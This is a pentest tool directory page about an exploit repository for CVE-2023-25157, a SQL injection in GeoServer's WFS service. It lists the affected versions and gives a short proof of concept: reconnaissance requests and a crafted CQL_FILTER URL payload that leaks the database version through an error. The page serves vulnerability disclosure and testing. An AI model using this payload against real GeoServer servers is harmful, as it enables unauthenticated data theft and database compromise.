Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-25157 — Exploit for CVE-2023-25157: SQL injection in GeoServer WFS service via crafted CQL filter syntax, enabling unauthenticated remote data extraction and potential database server compromise. | Kitploit
Tools/GitHubGitHub/charis3306/cve-2023-25157
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubcharis3306/cve-2023-25157

CVE-2023-25157

Exploit for CVE-2023-25157: SQL injection in GeoServer WFS service via crafted CQL filter syntax, enabling unauthenticated remote data extraction and potential database server compromise.

View Repository
311 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Vulnerability Description

Due to the lack of input filtering, remote unauthenticated attackers can craft malformed filter syntax, bypass GeoServer's lexical parsing, leading to SQL injection, obtaining sensitive information from the server, and possibly gaining database server privileges.

Affected Versions

GeoServer 2.20.x < 2.20.7

GeoServer 2.19.x < 2.19.7

GeoServer 2.18.x < 2.18.7

GeoServer 2.21.x < 2.21.4

GeoServer 2.22.x < 2.22.2

POC

Obtain available feature type names

Search

root@kitploit:~
/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

Obtain available attributes for a relevant feature type

Obtain related attributes for the vulhub:example feature type name

root@kitploit:~
/geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=vulhub:example

root@kitploit:~
/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,'x'')+=+true+and+1=(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+=+true

Download Tool